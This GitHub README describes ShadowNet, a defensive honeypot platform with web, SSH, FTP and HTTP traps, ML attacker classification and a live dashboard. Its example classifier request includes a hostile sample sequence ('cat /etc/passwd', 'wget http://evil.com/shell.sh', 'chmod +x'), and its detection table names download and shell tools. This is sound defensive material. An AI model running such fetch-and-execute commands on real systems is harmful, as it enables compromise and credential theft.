Skip to content

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Β 
Β 

Repository files navigation

πŸ›‘οΈ ShadowNet

Adaptive AI-Powered Deception & Threat Intelligence Platform

Trap attackers. Classify threats. Study adversaries β€” in real time.

Python FastAPI SQLite WebSockets License: MIT

πŸ”΄ Live Demo β€” Deception Portal β€’ πŸ“Š Threat Dashboard β€’ πŸ“– Docs


🎯 What Is ShadowNet?

Most honeypots just log IPs. ShadowNet goes further.

It is a full-stack deception platform that lures attackers into an emulated environment, captures every action they take, and uses a behavioral ML engine to classify who they are β€” scanner, bot, script kiddie, or Advanced Persistent Threat β€” all in real time.

Security teams get a live SOC-style dashboard. Attackers get a convincing fake system. Nobody notices the trap until it's too late.


πŸ”₯ Core Capabilities

1. 🧠 Behavioral Attacker Classification (ML Engine)

ShadowNet doesn't just log β€” it understands. The BehavioralAnalysisEngine (analysis.py) scores every session across multiple dimensions:

Attacker Type Signals
ADVANCED_THREAT Risk score β‰₯ 10, multi-tool usage (3+), complex multi-stage commands
AUTOMATED_BOT Command interval < 0.2s, wget/curl payload downloads, zero typing variance
EXPLORATORY Recon commands (whoami, id, cat /etc/passwd), low risk score
BENIGN No threat indicators detected

The engine tracks tool usage (nmap, nc, gcc, python, perl...), command timing intervals, exploit pattern sequences (chmod +x, rm -rf), and reconnaissance signatures β€” all streamed live.

2. πŸͺ€ Multi-Protocol Honeypot Engine (main.py)

Three concurrent traps run simultaneously:

  • FastAPI Web Honeypot (Port 8000) β€” SSO login portal with fake admin panels, session sandbox, SQLi/XSS/brute-force trap detection
  • SSH Honeypot (Paramiko, Port 2222) β€” Emulates a real SSH server; every command executed inside is captured and analyzed
  • FTP Honeypot (pyftpdlib, Port 2121) β€” Exposes fake admin:12345 credentials over a real FTP server
  • HTTP Honeypot (stdlib HTTPServer, Port 8080) β€” Generic HTTP surface to catch automated scanners

All four feed events into a unified pipeline via the log watcher module.

3. πŸ“‘ Real-Time WebSocket Feed

Every attacker action is broadcast live to connected SOC dashboards via /ws/feed. The dashboard renders command histories, threat classifications, and geographic telemetry as events happen β€” zero page refreshes, zero polling.

4. 🌐 Live Threat Intelligence Dashboard

A unified SOC interface at /dashboard shows:

  • Active sessions with real-time classification updates
  • Per-session command history and risk scores
  • System-wide stats (total sessions, total commands captured)
  • Session replay for forensic analysis
  • ML feature vector breakdown per attacker

5. πŸ“„ Automated PDF Forensic Reports

Analysts can generate a structured forensic report for any session via:

GET /api/sessions/{session_id}/report

Returns a downloadable PDF summarizing session timeline, commands, classification, and risk analysis.

6. πŸŽ₯ Session Replay (rrweb Integration)

Browser-based attacker sessions are recorded via rrweb event streams. Every click, keystroke, and navigation is captured and replayable for post-incident analysis.

7. πŸ€– AI-Powered Analysis (Groq / LLaMA 3.3)

ShadowNet integrates with Groq's API using llama-3.3-70b-versatile for deeper natural language analysis of attacker sessions. Configured via .env:

GROQ_API_KEY=your_key_here
GROQ_MODEL=llama-3.3-70b-versatile

8. 🐳 Docker Sandbox Isolation

Attacker sessions can be routed into isolated Docker containers (ubuntu:22.04) to safely emulate a real Linux environment. The docker Python SDK (docker>=6.1) manages container lifecycle. Configured via:

DOCKER_SANDBOX_IMAGE=ubuntu:22.04

9. πŸ—ΊοΈ Geographic Threat Mapping (GeoIP)

Every attacker IP is geolocated using the MaxMind GeoLite2 City database (GeoLite2-City.mmdb), enabling the dashboard to plot attack origins on a world map in real time.


πŸ—οΈ Architecture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                          ATTACKER SURFACE                                β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  Web Trap   β”‚  β”‚  SSH Trap   β”‚  β”‚  FTP Trap   β”‚  β”‚  HTTP Trap   β”‚   β”‚
β”‚  β”‚  Port 8000  β”‚  β”‚  Port 2222  β”‚  β”‚  Port 2121  β”‚  β”‚  Port 8080   β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
          β”‚                 β”‚                 β”‚                β”‚
          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                      β”‚
                     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                     β”‚    Log Watcher     β”‚  ← modules/log_watcher.py
                     β”‚   + Cowrie Logs    β”‚
                     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                               β”‚ events
                β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                β”‚  BehavioralAnalysis   β”‚  ← analysis.py
                β”‚      Engine           β”‚
                β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚ classifications
          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
          β”‚          FastAPI Core              β”‚  ← main.py
          β”‚   /api/sessions  /api/classify     β”‚
          β”‚   /api/stats     /api/web-event    β”‚
          β”‚   /ws/feed (WebSocket broadcast)   β”‚
          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚
                  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                  β”‚   SQLite Database  β”‚  ← config.DB_PATH
                  β”‚  sessions/commands β”‚
                  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚
              β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
              β”‚    SOC Dashboard UI        β”‚  ← /static/dashboard.html
              β”‚  Real-time via WebSocket   β”‚
              β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜


πŸ› οΈ Quick Start

Prerequisites

  • Python 3.11+
  • pip

1. Clone & Install

git clone https://github.com/SuhasHanamannavar/shadownet.git
cd shadownet
pip install -r requirements.txt

2. Configure Environment

cp .env.example .env   # or create .env manually

Key variables:

GROQ_API_KEY=your_groq_key_here
GROQ_MODEL=llama-3.3-70b-versatile
GEOIP_DB_PATH=./data/GeoLite2-City.mmdb
DOCKER_SANDBOX_IMAGE=ubuntu:22.04

3. Launch ShadowNet

python main.py

This starts all four honeypot services simultaneously:

  • 🌐 Web portal + API: http://localhost:8000
  • πŸ”’ SSH trap: port 2222
  • πŸ”Œ FTP trap: port 2121
  • πŸ“‘ HTTP trap: port 8080

4. Open the Dashboard

Navigate to http://localhost:8000/dashboard to watch live threat classifications stream in.

5. Test the Classifier

Open http://localhost:8000/test to manually submit command sequences and see the ML engine classify them in real time β€” including the full 22-feature vector breakdown.


πŸ”Œ API Reference

Endpoint Method Description
/api/status GET Backend health check
/api/sessions GET All captured sessions with classifications
/api/live-sessions GET Currently active sessions
/api/stats GET Total session and command counts
/api/classify POST Classify a command sequence on demand
/api/web-event POST Inject a web attacker event
/api/rrweb POST Submit browser session replay events
/api/demo GET/POST Trigger a demo attack event
/api/sessions/{id}/report GET Download PDF forensic report
/ws/feed WebSocket Live event broadcast stream
/api/system/os GET Emulated OS fingerprint

Example: Live Classification

curl -X POST http://localhost:8000/api/classify \
  -H "Content-Type: application/json" \
  -d '{
    "commands": ["whoami", "cat /etc/passwd", "wget http://evil.com/shell.sh", "chmod +x shell.sh"],
    "timings": [0.1, 0.1, 0.1, 0.1],
    "src_ip": "192.168.1.100"
  }'

Response:

{
  "classification": {
    "type": "AUTOMATED_BOT",
    "confidence": 0.91,
    "reasoning": "Fast command execution, payload download detected"
  },
  "features": {
    "recon%": 0.25,
    "download%": 0.25,
    "exec%": 0.25,
    "mean_gap": 0.1,
    "burst_ratio": 1.0
  }
}

πŸ§ͺ ML Feature Engineering

The feature_extractor.py module extracts a 22-dimensional feature vector from each session:

Feature Group Features
Command Intent % recon, download, exec, lateral_movement, destructive, auth, misc
Session Statistics total_cmds, unique_cmds, entropy, max_cmd_len, mean_cmd_len
Timing Patterns mean_gap, std_gap, min_gap, max_gap, burst_ratio
Threat Indicators has_sudo, has_privesc, has_pyexec, has_encoded, has_redirect

These features feed a trained Scikit-Learn classifier (model.pkl) for session-level prediction, with heuristic fallback logic in analysis.py for real-time streaming classification before a session ends.


🌍 Real-World Impact

ShadowNet addresses a critical gap in cyber threat intelligence:

  • 94% of cyberattacks begin with reconnaissance that most honeypots log but never analyze
  • Traditional IDS tools create alert fatigue β€” ShadowNet prioritizes by classifying attacker sophistication
  • Security researchers can study live attacker TTPs (Tactics, Techniques, Procedures) without exposing real systems
  • Exportable forensic reports enable incident response teams to act on intelligence, not just raw logs

πŸ›‘οΈ Ethical Use

ShadowNet is built for:

  • βœ… Cybersecurity research and threat intelligence
  • βœ… Academic study of attacker behavior
  • βœ… Enterprise deception defense deployments
  • βœ… CTF (Capture The Flag) environments
  • ❌ Not for offensive use. Do not deploy against systems you do not own or have explicit permission to monitor.


πŸ“„ License

MIT License β€” open for research, education, and defensive security use.


⭐ Star this repo if ShadowNet helped you understand attacker behavior.

Built with πŸ›‘οΈ for the defender community.

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages